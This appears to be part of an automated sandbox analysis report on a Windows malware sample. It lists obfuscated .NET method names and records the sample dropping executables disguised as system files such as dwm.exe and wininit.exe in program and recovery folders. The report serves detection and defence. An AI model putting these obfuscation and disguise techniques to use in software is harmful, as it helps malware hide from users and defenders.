Source: DWTukBG9R7.exe, kCgI4S50AyOTcGkt4yA.cs	High entropy of concatenated method names: 'y855Wk6SJP', 'X595Utleq0', 'fXR59IBybw', 'qNT5EI9Dvi', 'OAO6qPM3sAACVXuCAHha', 'A9cWQxM3dc5YQVI49orp', 'ovWO8LM3ZLFKKBdvHjD3', 'VQABl9M3vUIju38J3KX9', 'kUds52M3SearLaBBEDAg', 'iUNjAMM3X8ifgGvMIPOX'
Source: DWTukBG9R7.exe, RRoTsG3KcohSARBtu6W.cs	High entropy of concatenated method names: 'a4Q', '_6h5', '_4fY', '_32D', 'j7E', 'Lr9', '_7ik', '_9X3', 'g6m', '_633'
Source: DWTukBG9R7.exe, E1CtnrfSJXitqua8knT.cs	High entropy of concatenated method names: '_0023wjg', 'Dispose', '_0023Trg', 'MoveNext', '_0023Zvw', 'get_Current', '_0023Wrg', 'Reset', '_0023Xrg', 'get_Current'
Source: DWTukBG9R7.exe, jMiTBFT6kMh0UDgwk9U.cs	High entropy of concatenated method names: 'fNHngP76fv', 'uOXVgPMiDlVkuYWfsPbq', 'MW11eTMi5NZwmKcnr57c', 'U3fqX2Mi89sv3aBDcKEA', 'eRw0BMMiJssaFSqqcTqy', 'CPX', 'h7V', 'G6s', '_2r8', 'PHnMDxGd1d6'
Source: DWTukBG9R7.exe, SGHbkmrzVpSyjVFdEdH.cs	High entropy of concatenated method names: 'P4EGDfmkgo', 'NWWtoRMfmUTCrhV6DHop', 'wZJaicMfe5uRnj95OJlS', 'PkQZfIMfagNxIUgSAiKo', 'mhXpC8Mf1Ujv9L2crcVW', 'eq7', 'd65', 'RTiM5sSn9lu', 'KH9M5vIcgYK', 'YvIMc3yEdL1'
Source: DWTukBG9R7.exe, yumVETlhbUIxoZugjt.cs	High entropy of concatenated method names: 'IW9x5SY7n', 'xwFLUfMuiMdmoB8nDDJd', 'epJBixMuP2Ck6IGpJMZg', 'uBmSFoMu7TWBgX0knHIf', 'yybpGfMu62veHR8N6u1Y', 'eoZd6Itkg', 'tukZFFqv3', 'Ex5scArsm', 'zvhvfX0q1', 'BS9SekRlp'
Source: DWTukBG9R7.exe, w6SBHukdLZUyt2U5xyD.cs	High entropy of concatenated method names: 'Cj1', '_1Td', 'Cz6', 'ht3', 'WWKksyrCfk', '_947', 'IHikvQawGn', 'rw4kSNBmpU', '_1f8', '_71D'
Source: DWTukBG9R7.exe, M6B4ip7gS7sKSfcbE2G.cs	High entropy of concatenated method names: 'mES7Fd2L53', 'MJJ7kON3xO', 'Ep87wHyle4', 'Ycu7LZwPjh', 'wVR7l082UB', 'r3V7qIPbWp', 'DZcxw2MRbSHuYMV8Wwm4', 'MeVPWYMRjUXJ4Bbqgb1V', 'YerFsFMRohisDyUnIcAa', 'UwwuNmMRTYGU3uiGlEEc'
Source: DWTukBG9R7.exe, c70C3aYMmXGCxHgDXhp.cs	High entropy of concatenated method names: '_5E9', 'V29', 'e6S', '_2Q4', 'CVq', 'ROTMcZOkB5M', 'zxrMtThkSEG', 'JlNfwKMUxXpHfT1TsTv5', 'v3X5IVMU259Pjx1hxkj1', 'vAt80RMUf5I59BBtjoGC'
Source: DWTukBG9R7.exe, dHo8ix4vWFfoTAwMguy.cs	High entropy of concatenated method names: 'eaY4QCk6Yr', 'p6v4xI8bQs', 'AXi42NoH4I', 'MlK4f8Yp5N', 'JHn4e4urLM', 'FJF4aLIIHH', 'keX4m52L8y', 'D8641JP7uT', 'tUH4yK57jB', 'ooU4h0d19D'
Source: DWTukBG9R7.exe, YCmm5J4Oef3cNYjLhE4.cs	High entropy of concatenated method names: 'iPDMDj7C73u', 'NqIMDo0TAaZ', 'efKMDT5aXQj', 'zZlMDnoSHjv', 'ui1MDIprqSk', 'avgMDPTwVRU', 'V7WMD74ExS1', 'cPLCr2j0nJ', 'vuGMDi8bJnG', 'iJcMD6Ufg23'
Source: DWTukBG9R7.exe, Y2MU5TVONnoSadLJ8FS.cs	High entropy of concatenated method names: 'tJgVNWh8OI', 'ikHVb2OtVM', 'hjyVj8yw1u', 'QKNVorsHPm', 'NgrVTwKIdZ', 'E31pkiMaRuXSYqRN3VhG', 'klB1RWMai8cHlJtxSqgb', 'iNoySxMa6Sqj7c1mAAHT', 'nyDoBmMa4RI5eLA9gtRo', 'KQAFQvMaClWBgJdgfgfA'
Source: DWTukBG9R7.exe, TRRjiJkCN2dtJn1N5kq.cs	High entropy of concatenated method names: 'JMqwKBJSpa', 'BPTwMwDfNR', 'VAcwYXBK3d', 'Dn1wtYCbjd', 'XR8w5fyNFl', 'XxvDxvMmC1AwH9kdsHWA', 'Xukk7dMmRrf9kixRUEsE', 'GhWbk9Mm4E2WjgVlTOr4', 'UdF7H9MmzLiaWROQGHKU', 'tfq2nLM1K2K6krQxA7RF'
Source: DWTukBG9R7.exe, Gt4PnaDBS3c82tlDbni.cs	High entropy of concatenated method names: 'j8YJKtahET', 'OPlJMadovx', 'qBFJY4Cmdq', 'IkxRIHMQ79vukxMpZqcF', 'jyJgwAMQIJ6GwlltW7g0', 'Wm8fEvMQPeJGjYU4P6oy', 'e8pDbnrYMS', 'LaGDjXTVEH', 'KpNDou2mde', 'aHkDTTK2K0'
Source: DWTukBG9R7.exe, rAXPqKHDM7mcS4b44Aw.cs	High entropy of concatenated method names: 'TkatuPMTWJhl9k5oeMbh', 'TpDFmOMT0SDlfCM9ZPyR', 'Y64sCbMTuyQwvgaDH7uU', 'rTrFMxMTUrsQua2YIWYH', 'zDWHcAmhDm', '_1R8', '_3eK', 'YQBHrYxf4k', 'S9SHGak70W', 'BqwHpvSNTp'
Source: DWTukBG9R7.exe, EtHSbF8VcxDIgJ6Emir.cs	High entropy of concatenated method names: 'Wc7', 'k7S', '_37r', 'jCVMcs8LVhQ', 'b0yMtzlgZIO', 'lLSWa0MHrXVRkKv1xuP7', 'W83DtwMHGEKeZpJGxZHW', 'FM6tysMHpvo8KUA8dDfA', 'hcUXiHMHgfyHyTV7CwXj', 'KZnZNRMHVlfl1XojtyjF'
Source: DWTukBG9R7.exe, YSP5VYEBbeFeojNOs5Y.cs	High entropy of concatenated method names: 'AEm', 'by1', 'pDXEbGhh3d', 'uM7', '_197', 'rZu', 'Q1J', '_24u', 'U67', 'xj7'
Source: DWTukBG9R7.exe, Qt5rhft4JHP8w4SZ3wv.cs	High entropy of concatenated method names: 'NX55kDsnO0', 'yvFhL1M3J1rha5QZ12K2', 'Xnim4xM38T0VQOglwAQb', 'N035FrM3DLG9h8Zxuq89', 'JgAdbpM3p0TF3Pk7KT4G', 'ge01a0M3r4CYS8Sxh5mu', 'lsdMgLM3GQu31eUZqJth', 'YQJ5SJJQn9', 'IOSdqMM3kjkB8Nt9x8Vm', 'VrABYCM3V3HAbvRFnhmN'
Source: DWTukBG9R7.exe, WT3hy8FkqnTyFkrsvei.cs	High entropy of concatenated method names: 'dcXFLmukhK', 'XmMFlr1pqx', 'ggHFqh0XSW', 'pGeVOZMmFicWk4Kh6lK9', 'EJ6NJcMmgBLTv9SpBn71', 'jrWjUoMmVOKtA8CO8sYC', 'HKuMrcMmkqn4py8OZw7S', 'TgH9ChMmwLCZEvgsQQxu', 'CrQmPEMmLsVeaDs9IMK0'
Source: DWTukBG9R7.exe, FiPxQREeeXWfNke5oCV.cs	High entropy of concatenated method names: 'xJkEmxO2UP', 'vTTE1lqBPB', 'GLFEyDLAZ9', 'rcwEhw4G6s', 'NngEOOJ26K', 'vA7HTXMopTautiFky4x3', 'QeyGnmMogwQU28wO8B5k', 'iOrj4FMoVadybtwtoIGI', 'dcBMtwMorl3KmjCcm4Eg', 'OuJPGAMoGZZW2nGeTrHu'
Source: DWTukBG9R7.exe, srxCn4YwtaO14NjDia8.cs	High entropy of concatenated method names: 'dONYldgFuh', 'xqUYqZrDRb', 'rqijjQMUicA3aFs3h6pk', 'bKfrdFMUP3I1HBfq5OM2', 'Lb6ekUMU7HVCvpQicmuj', 'tUM1VlMU6WZxPKC7WUmJ', 'pYTa2mMURDMWODAGMV8k', 'mCwFofMU4MngFLceQKTN', 'k96F13MUCcB8BEtiXpCW', 'X2rFElMUzwvBRkolr6j9'
Source: DWTukBG9R7.exe, kMBd74U9OcUhloRqZFc.cs	High entropy of concatenated method names: 'MwKU34FGGs', 'CkancTMbdRTNQgZ9UnZ5', 'CjAIt9MblmrVVmmARpAl', 'U9k50YMbqD5bdyjO6WVu', 'zJaImQMbZkggplSoBNvY', 'Xb71XPMbsG9nfofQB0uU'
Source: DWTukBG9R7.exe, la1TE0UtleYcP8swNP7.cs	High entropy of concatenated method names: 'LKqU8eoE7A', 'i6fUD6ghWp', 'hw4UJtspoO', 'bpbUc1RLn7', 'G6sUrNnsC5', 'sGwNpgMNnWKl4d1OxbSa', 'uOUlQiMNo61gpoY0ugcK', 'VulY14MNTGvuOZQW7buW', 'hcLWsQMNIvASKOrg291h', 'kOr9oLMNPGXjsgEtcOSK'
Source: DWTukBG9R7.exe, zbWgwkrWKHUkstfLEOY.cs	High entropy of concatenated method names: '_71a', 'd65', 'z1GM5pcMvhs', 'MprM5gy3gWx', 'v2SMcul7j4y', 'UmtM5K6Zjxa', 'vieNxZMfKDOfdt8N4jus', 'TdwDLcMfMvb4b8kicI9t', 'e300XHMfYyCgoHBT1dyi', 'OeDBsmMftkvPqcC9YvW8'
Source: DWTukBG9R7.exe, IIX4nDSf2cQDcu27bP4.cs	High entropy of concatenated method names: 'LnWW0Xpn9M', 'RjXWubRwwq', 'yd9VUCMN0Hctm7cJeBLn', 'zluj7oMNXMR729iW1DDB', 'KUldpIMNAb5RGOkbPctc', 'cgGheHMNuvLXjHNBy1Yv', 'dsYVXTMNW63JI4sxNtyh', 'xWQWHB1dE9', 'QcZfgoMN9tehAhXDSs8G', 'm5frpaMNEW8ZVbkZH8Ch'
Source: DWTukBG9R7.exe, hus03DGwrHgSgj56Pg9.cs	High entropy of concatenated method names: '_5t1', 'd65', 'ipZM5ubAXhT', 'pn2M5WNCynC', 'dUyGlxQx8L', 'm3CMcQbWeP4', 'UmtM5K6Zjxa', 'DwBCt8Mf73rb4l2KYTgO', 'lPlwBxMfilSjMPOoy4rv', 'OWHJTHMf6wHTq40uDxPL'
Source: DWTukBG9R7.exe, vw7ZMsrFnRmsXUCqlyF.cs	High entropy of concatenated method names: '_54f', 'd65', 'ikJM55PNTZv', 'wmPM58eoOCs', 'd3BMcXrvYlj', 'UmtM5K6Zjxa', 'nUcTi6M2BanwXETBZyyd', 'SxYx9XM2hkf5W6MoKkfB', 's7xYP8M2OK2ioEytpGaQ', 'ka78AWM2N5Ksi0EiLwsx'
Source: DWTukBG9R7.exe, goWFCuI5NjD7JPwKglw.cs	High entropy of concatenated method names: 'UlLIDGIIg7', 'nxwIJwYygG', 'JJ3IcfJer1', 'KAjIrePLQy', '_0023Nn', 'Dispose', 'c8Z30FMiPH6h1GomsaK1', 'QFscP0MinTHnDonahCyE', 'uEM0LeMiI9IPZ4LjGgu2', 'naqIKOMi7CfP0w3d3BSa'
Source: DWTukBG9R7.exe, OQc2OBJQUJlkY3rAEY3.cs	High entropy of concatenated method names: 'OEMJbQyOHF', 'PRJJjnZR5U', 'pJiJoyTuwl', 'rTQRcSMxEIX3BgWYqSfR', 'qX9fJRMx3gtqHURoDVlm', 'XnvJfhMxHFAFQjfVaWgg', 'IWwJ2SjwfK', 'IVPJfa3ZNx', 'OQKJe7Oe9G', 'pOUJafrVUg'
Source: DWTukBG9R7.exe, xn8YHNFHmQhTVZNM01o.cs	High entropy of concatenated method names: 'j9l', 'lPgFxXtiVe', 'CUAF2m627W', 'fQRFf7r2DV', 'uw2FehZ4El', 'Mn8FaGmBbw', 'XCVFmmCNGM', 'i33PPwMmZ5b3BR69VLcu', 'GWCk6TMmqxhHfDuRbF51', 'lYNcIhMmd4pX9DOvXV4d'
Source: DWTukBG9R7.exe, ehqtHM51B3JSkP2OTS5.cs	High entropy of concatenated method names: 'sgD5ouUi9m', 'qLHq9vM3Or1mfP3ObFAf', 'QssLZiM3yDiRt4P1VRAt', 'X8iUafM3hr8nky7roxMO', 'Tux5hnKD6o', 'v2G5OUlCLp', 'EED5BGuODT', 'vsyYEXM3e3MUog0rnJyf', 'IQf8uEM3ah1L0LrQtwBt', 'brkwJLM32VmKqb291YeO'
Source: DWTukBG9R7.exe, q4936s8b9Mu1w6mQJpf.cs	High entropy of concatenated method names: 'OBq8RJ9yED', 'NZJ84kI2Y5', 'xKMnByMHOmbiUyS32x51', 'HmPZmmMHBASqaCqPUJoj', 'kXoDMaQbUh', 'HQTap7MHoxOa9INTFGtL', 'hZcipyMHTBa8MgW9DKHF', 'ijjBRQMHbJ4bnGqo9ErT', 'te0fIEMHjCvtuS9SG2Ng', 'akcSHRMHnCnJc8bV6cTM'
Source: DWTukBG9R7.exe, NCMIiDt7kvQn5aWAKIM.cs	High entropy of concatenated method names: 'yUMt6e0RqB', 'OJhKD0MEePug0C4UKDkW', 'WTXgNJMEa6umD8ydmZFV', 'r9DNeLMEmB4Hlpa8mdLT', 'VqutI2ME2Fau31uuvqFQ', 'OrQNusMEfOSPEByFt1SG', 'c5xpFiME1TFo5YVoLXoD'
Source: DWTukBG9R7.exe, cSym8StLj3CjH1r5PO7.cs	High entropy of concatenated method names: 'omDtUGq5mh', 'CbBt9N0p1I', 'DJVtEMMqjd', 'cpymuAMEFJVTLTp0ja6i', 'T9j5wDMEk1rmnahTgSEj', 'znEXBqMEgELl7u1kCDJw', 'TxUmtNMEV3GpM0upZSpG', 'XZttAKKXSM', 'm9It0ydcjW', 'ooJy1dMErrtICWUKJRf2'
Source: DWTukBG9R7.exe, NVtGa3YcdJHnD8DkHLf.cs	High entropy of concatenated method names: 'K8oYGd3tfT', 'G6bYpFZcQN', 'JXpYgnQIPM', 'XvAfrJMUNnJFZ30QWYtY', 'mp5MRoMUOPdX6msoT4Xg', 'yf5YGpMUBnvjaWbeEM8Z', 'pR8qDgMUbm2kibt5ndUb', 'NNkWt1MUjmyIFD1PjGAW', 'Uf3lBXMUoWLk01VF5n07', 'TBNq6EMUTGrxGq3l4KqO'
Source: DWTukBG9R7.exe, j6WWgSMuFMUut9f9fXo.cs	High entropy of concatenated method names: 'N2T', 'V29', 'o75', '_2Q4', 'K3B', 'AYYMcwqQvfc', 'zxrMtThkSEG', 'C6Z8EaMW7XoIUE0ui4ks', 'HJxVJDMWiHUFWjJMcMAq', 'hDu4ewMW6Y4CNKY8GGfd'
Source: DWTukBG9R7.exe, ko30eB52nSqxwxJehTd.cs	High entropy of concatenated method names: 'H0N5ekB6Ee', 'EqP5au0gKb', 'Lc5YRPM39WI2m5JHmgyK', 'Y77q95M3Wk5JPLZmevmH', 'YLAILPM3U1Z6ANcqgV3f', 'Kh83sHM3ECtvQ2Mrclmm', 'YT1KC5M33ifpnwAuuMUs', 'sPlFWvM3HoHRg4hqXZN8', 'qXMstnM3Q4nRceh8WrxA'
Source: DWTukBG9R7.exe, fRbjNptjMZgoUlaw5UR.cs	High entropy of concatenated method names: 'W0QtIxMb54', 'tYMueEME3LXDqJMaZq9m', 'sFCFfGMEH0hwFH6O3o4x', 'vUowpEMEQC7tvwOuIfAw', 'kEDtTApYOi', 'nkYxivME9PUV10FXb2rZ', 'ttyQR6MEWjBOKVZA04lW', 'mnUBGoMEUVraEVbyuDLe'
Source: DWTukBG9R7.exe, Xx0mkdn0VjQx3Tm4dW0.cs	High entropy of concatenated method names: 'Xyb', 'Sz4', 'zej', 'XO5nWLkLXJ', 'ToPdaPMiSPx9GvGDmbpP', 'dTqWNCMiXeZbchjbGgNF', 'pqkfNOMiAJWCWVVeMd1f', 'poGuoqMi0Xd555r90fKM', 'FD2DxYMiuQJFActKDs9O', 'xRP4ykMiWqAxMbAPQrGt'
Source: DWTukBG9R7.exe, aM3wbNMjyIcDMgNl2eO.cs	High entropy of concatenated method names: '_413', 'V29', '_351', '_2Q4', 'H7R', 'Mk6McqO1HHJ', 'zxrMtThkSEG', 'K2Uoi6MUdS4G9T0fOYU6', 'OJskOxMUZetdb4r97hC9', 'CgL8ErMUsYw36rLU0Wr8'
Source: DWTukBG9R7.exe, q9jPmVeygDhg7ltapPt.cs	High entropy of concatenated method names: 'bQVeOyiQ43', 'MD4eBLoJcG', 'tDneNB0Nt3', 'nn8ebX0bjU', 'IeOejaaTLB', 'RkMeo98MMg', 'xUseTeZEbl', 'acEenjdMo2', 'vqmeI5BNqa', 'gEYeP9t1wc'
Source: DWTukBG9R7.exe, Run8nR2cnVvOAm58fck.cs	High entropy of concatenated method names: 'BWO2GRjoZs', '_64r', '_69F', '_478', 'RsU2pbAdyQ', '_4D8', 'wgI2gOtb0O', 'HaY2VMe3lZ', '_4qr', 'NEn2FLyvLD'
Source: DWTukBG9R7.exe, E0i0gIUIsDvLeKax18x.cs	High entropy of concatenated method names: 'QJfU7bl1Z0', 'BTAUinlDWH', 'mHjU6S7FBN', 'DDOUReRFpm', 'FXOU4WkpxV', 'mCGUCbimvy', 'wZoUzSl3MT', 'Ln49KdmD2q', 'g5N9M04UhI', 'Pkr9YS8Fdy'
Source: DWTukBG9R7.exe, HIqWpFlPV6JMPLpIjw2.cs	High entropy of concatenated method names: 'lhi0qNMOESBMJAXRkA9P', 'YiKnvFMOUhtrJq07iHD9', 'iCDPPrMO98qIEeiXylpd', 'Vlkx38MO35rs9X4DKjG1', 'WDrS0SsPGX', 'XSs4HQMO22RsDI9bHtAE', 'BQZ85bMOQMdCqxU4C0ls', 'LtsYXUMOxWoQtT4aKelh', 'D3OnSaMOfOq6bE6EwkT9', 'RBESU5xure'
Source: DWTukBG9R7.exe, K43uOI8SH5cKcsQc8gr.cs	High entropy of concatenated method names: 'OLZ82PaaiN', 'Lfo8forW8U', 'jZgx81MH3wbbTlbe9jfD', 'MahXEGMHHgvWA6RLKXue', 'cU1eP7MHQu6Y5uxXPv3g', 'ydV8AK9Rdr', 'Ap780lp7Jg', 'XkZ8uvuEic', 'NbL8WWTOlt', 'Dc08UosOHG'
Source: DWTukBG9R7.exe, OBSFVlPCqaO3mpt3hKU.cs	High entropy of concatenated method names: 'Pk77YoexP3', 'GcS7t7RPZU', 'VBk83BMR2u1yTWBgUnS3', 'nu382eMRftwDMiYYoUuL', 'NxHAFkMRQJJ4KkKYwb3s', 'MWCVKFMRxXMK9gx4nFpc', 'PYF0LfMReSuo99A9euvc', 'Tx9D11MRa2augGpAwBLN', 'cmI7KI4Mgk', 'V4bhO1MR99kPVcVB9kdu'
Source: DWTukBG9R7.exe, hudB6u3i3xwgwksITl9.cs	High entropy of concatenated method names: '_2JN', 'A67', '_49I', 'Ju93RbU7cy', 'P1134hsZD4', 'c6D3CG6daA', 'VFA3znOKLZ', 'xiSHKwpPvb', 'gJuHMoB9rR', 'sdw5T6MTcsDqrelSN9Io'
Source: DWTukBG9R7.exe, BYLOJHl0MvkKjnYl5WT.cs	High entropy of concatenated method names: 'vNq', 'O3Q', 'a43', 'V8g', 'g39', '_9By', 'h74', 'fl2', '_4L8', '_8e1'
Source: DWTukBG9R7.exe, PYtymgUkp2Od6P2lHd2.cs	High entropy of concatenated method names: 'ELZULhVauv', 'QleUl5bvYs', 'pTvUqOQPxd', 'SkcrvDMbtLfPTkJwnGLq', 'qFfNwOMb5EOCUIQu1mQO', 'vu9QH3Mb8Hn69l1TDHkT', 'E3An4yMbDJJVXdTo69vv', 'dumuf9MbJaCF2p4qO50Z', 'ffUgVxMbciGkggjtCBix'
Source: DWTukBG9R7.exe, MGaGprlY1JYeVfyOX41.cs	High entropy of concatenated method names: 'Iy9llnZFTb', 'C92ldMoSMo', 'XfOl5Iafq7', 'XOrl8dZ6h3', 'Fx0lDEI1l1', 'Gk6lJZppAT', 'Ns1lcKiyQh', 'PAtlrgZHh7', 'L7ZlGdOAKp', 'UMVlpjsxuh'
Source: DWTukBG9R7.exe, NVGrnZ6sRyukoNyTRNq.cs	High entropy of concatenated method names: 'GZ9K1LM4S8L2fXJrpSlr', 'h1NqBQM4XctENAPCMBrE', 'OYERRCpQEl', 'gw8xf0M4W7bQCIq0tX6V', 'Ruf5PcM4UKUeH40fY0nV', 'DkHy0KM49rZuePZQwvFF', 'p08i1GM4EHUmPiK8w3GU', 'wgsoyWM43AFWIN5kO870', 'nme8YkM4H7Tg835cruTu', 'HuWwxXM4Q2SGICEicEGr'
Source: DWTukBG9R7.exe, UiAEyoM1Wm52di6J2iJ.cs	High entropy of concatenated method names: 'n39', 'V29', '_4yb', '_2Q4', 'p93', 'k53MclhW61c', 'zxrMtThkSEG', 'CbcPfhMUGaQ25SBGsLAC', 'eBNlbfMUpwuRRMYHaMXb', 'rvdXJuMUgroE6txWfQt9'
Source: DWTukBG9R7.exe, QZuUnDpENaqMbo42msf.cs	High entropy of concatenated method names: 't0MVdmsd7t', 'eRw073Ma1Rc02Zi4kFrn', 'RptVJjMaapMDmp6fVkgV', 'gAY1lQMamkpu769vT9T0', 'pumt64MaypNO9xCRPnOg', 'hn9pHB9Ido', 'HKOpQYMrfx', 'LwVpxwSD2J', 'mqcp2WgApK', 'QT1pfVOCiS'
Source: DWTukBG9R7.exe, H6Acaxr3TSNprBBCmAl.cs	High entropy of concatenated method names: 'pQyr1ZxsRb', 'n5NukAMfpKNKVfJIP6QD', 'ksH42mMfg5slRNLD98Sm', 'Tm2W0TMfVZdKtWi74nIC', 'R4wyAnMfFJxjdm4atumx', 'UU8', 'd65', 'lPSM5F1fIYy', 'u0NM5kaiBeu', 'BvCMcWaQRS5'
Source: DWTukBG9R7.exe, LC1pWupDOsf5dq0JZsr.cs	High entropy of concatenated method names: 'MvvnZeMapJGjU1dhhDBW', 'od9FfRMagFnR2bGs4755', 'uIQXngMarUukAqUdHKpc', 'pLeG5EMaGURUHGtRoybr', '_7kT', '_376', 'nK1pcJp8TY', 'LspprK0MIg', '_4p5', 'L0JpGgqjbr'
Source: DWTukBG9R7.exe, RyVMtYQSV2Z5GrbP0tO.cs	High entropy of concatenated method names: 'MywxwS1K4r', 'FfFVs0MTNOIGZ2sVAiIL', 'AaYFUxMTOVPeRnf1GXXx', 'otrULiMTBahFAHOVZjQ9', 'ymVj2eMTbCKNKfuRnReS', 'i5X', 'j9ZQAgaxHn', 'W93', 'L67', '_2PR'
Source: DWTukBG9R7.exe, xwZemdcja61NQdG0T5S.cs	High entropy of concatenated method names: 'Y82c7pcv0n', 'M1pci781H4', 'DvRc6p2tnv', 'LF3cRwpMyo', 'Feuc40UlHF', 'mRpcCtZS3H', 'Ll3cz7kC8L', 'WTETAyM2WQeVftSHwnMr', 'G8sW3WM2UkflkrUvEh2N', 'dDBr22M20xSbGblZKovH'
Source: DWTukBG9R7.exe, e9Z3ClJ7PjOwskGUsr5.cs	High entropy of concatenated method names: '_5Z7', '_58k', '_4x4', 'bU6', '_3t4', 'a5C', 'Lk7sxGMx1Ln6qjwjvibq', 'FtRPdOMxym7VJTZ8T8hT', 'OtZP86MxhHjNVpvShXQl', 'vMjV6qMxORdEenjBxO7X'
Source: DWTukBG9R7.exe, zUJwqGLS4gRJrj1lXKl.cs	High entropy of concatenated method names: 'IR0LNmvOiX', 'fDNLAT1EZL', 'dr9L0Q8KaF', 'YFvLu0hwUM', 'SxxLWGYmPY', 'wXOLUMHVCs', 'DSYL9WUebh', 'r7ELEUWVko', 'v6NL38Gm8E', 'Da3LHYeP7L'
Source: DWTukBG9R7.exe, uHxJqXDJJ9RGGGBejV9.cs	High entropy of concatenated method names: 'uCyDZ9qS1Q', 'JusDsyDHB7', 'FJt6QMMQrThKGbViLA4I', 'OnwgsYMQG6KaXOLHrJqC', 'wMlM5BMQJsf6MnLT45hB', 'fYIY4JMQcjff1ttRUKIA', 'piUDlSq5wF', 'O9oDq5NRRB', 'tCW6ohMQtnL1P0UgYBr9', 'WqXqmtMQ5s4OC623cyvm'
Source: DWTukBG9R7.exe, aPbqYd9sNIvrQGQvOyG.cs	High entropy of concatenated method names: 'MJ69SJUbJy', 'WoW9XBMhXD', 'M62', '_1Xu', 'LuR', '_4p3', 'HVh', 'KJy9A2lwHI', '_96S', '_9s5'
Source: DWTukBG9R7.exe, RqyeWbGBqlWMmnY9ve7.cs	High entropy of concatenated method names: '_34V', 'y7u', 'HV0McamTE0V', 'C1BGbJVe0O', 'gt1', 'Y0p8ChMeWbUqS85Mf3vO', 'vs8oDQMe0pdlKy6ZOmfp', 'FktDOGMeug1WEGhfg6lT', 'Ouw0VLMeUVlr18sJF0Ii', 'P8Ek1YMe9OwahoJQA7ta'
Source: DWTukBG9R7.exe, UQd7RPEtGxtx92aGJht.cs	High entropy of concatenated method names: 'AVBE8UIDkK', 'EVREDIuZWe', '_7Bm', 'jULEJ6vALT', 'hwJEcrYf3T', 'uP3ErmtskV', 'fC1EGgXRwn', 'unewfoMjWIG4NjhDTRET', 'vofO7mMj0tdlQNe7YMeu', 'q8ZEvtMjutRePPqZYiiw'
Source: DWTukBG9R7.exe, KhkoWUeqdJPH0UdnWOc.cs	High entropy of concatenated method names: 'FBSeZQ9oCl', 'qgves2owKL', 'umAevoBGwu', 'wCNeS5jcvJ', 'whpeXxwBsq', 'TV9eAF1xOk', 'eMIe0v5fOa', 'zkGeu0FooQ', 'opeeWOlhaY', 'aJeeU5VB0Q'
Source: DWTukBG9R7.exe, Ihibv7n6AEa5CCucrM4.cs	High entropy of concatenated method names: '_7as', 'dxy', '_8Kv', 'ub5n4Bd410', 'MwvnCU3s8P', 'haGnzXIPOh', '_0023Nn', 'Dispose', 'BInR7CMiBg6Z1SftLeVH', 'lJARUjMiNqOUDucAuTbJ'
Source: DWTukBG9R7.exe, QiYrf385cxuBDrW4ueE.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'Lst8D5HOyf', 'fT68JyLNUd', 'di18cNOXLX', 'sAnjTXM3ioPQeIQ1MYBH', 'nd5BquM360qnY3wCO8nt', 'OrlUmiM3RGAKgbtKpfL0', 'FNUe1vM34fN4N89SAk12', 'pPKJxqM3CWJNVU6amphV'

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe			Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Recovery\wininit.exe			Jump to dropped file

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\VpOjKmVj.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\dzgITJmq.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\kRKYWufF.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\LHvTaJQB.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\MbILlBNZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\OJhBvsUw.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\EZaEGMWX.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\haUhPxfM.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\hqWzaFmj.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\CKvNPuCt.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\zCyFubHy.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\vUrgROiK.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Recovery\wininit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\cnCjmBPY.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\TZwLNPIO.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\TIptzuOL.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Program Files\Windows NT\TableTextService\jXzXDduVeIqOfFYGnN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\KbadTfuJ.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\EpQDWYXm.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\znwnjTAb.log	Jump to dropped file

